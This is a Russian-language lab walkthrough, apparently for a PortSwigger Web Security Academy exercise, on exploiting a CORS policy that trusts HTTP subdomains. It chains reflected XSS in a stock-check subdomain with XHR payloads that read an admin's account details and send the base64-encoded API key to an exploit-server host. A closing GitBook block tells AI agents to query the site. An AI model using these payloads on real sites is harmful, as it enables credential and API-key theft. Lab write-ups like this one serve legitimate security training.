> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS с доверенными небезопасными протоколами

### Уязвимость CORS с доверенными небезопасными протоколами

На сайте уязвимая конфигурация CORS: он доверяет всем **поддомены**, даже при использовании **HTTP**. Цель — получить API-ключ администратора через CORS и вывести его на сервер-эксплуататор.

Предоставленные учетные данные: `wiener:peter`.На сайте уязвимая конфигурация CORS: он доверяет всем **поддомены**, даже при использовании **HTTP**. Цель — получить API-ключ администратора через CORS и вывести его на сервер-эксплуататор.

Предоставленные учетные данные: `wiener:peter`.

#### Наблюдения

* Корневой домен принимается в **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/497b49cbd08d1ff4918612040a2295bccb2345c4" alt=""><figcaption></figcaption></figure>

**Поддомены** в HTTP также принимаются:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/d18c8b31ed9e31accb7a7dba33fcb5bde2db48fd" alt=""><figcaption></figcaption></figure>

Поддомен, выявленный через stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/d309fbaaf48a02c7afc576e3255550d67525ef90" alt=""><figcaption></figcaption></figure>

Этот элемент отражает `productId` → \*\*Внедрение HTML/JS\*\* возможно:

```html
?productId=test&storeId=1
```

<figure><img src="/files/8248dd78788dfc286301e408e2b568722689b401" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/e56df17139b2ee941f2d0e91a91b24ee86066659" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d4a05c013441308250778a943f20c7857a482fc9" alt=""><figcaption></figcaption></figure>

#### Эксплуатация: чтение `/accountDetails` и эксфильтрация

Используемый XHR-скрипт (отправляется через поддомен):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Внедрите скрипт в `productId` параметр уязвимого поддомена:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Перенаправьте на URL для эксплуатации с помощью `apiKey` переменной, содержащей закодированный ответ.

<figure><img src="/files/8b98e0893b869c9f9455964bdfb92c53e8748a59" alt=""><figcaption></figcaption></figure>

#### Полезная нагрузка, отправляемая жертве (URL-кодированная версия)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Получение API-ключа на сервере для эксплуатации через `apiKey` параметр.

<figure><img src="/files/69a40e27cf6b73af7b330bbdcda5bc6de96b7be0" alt=""><figcaption></figcaption></figure>

* Декодирование выполняется с помощью:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/728cfc26ec5a9a8a1e64c5c1d0019c18ff16a2de" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
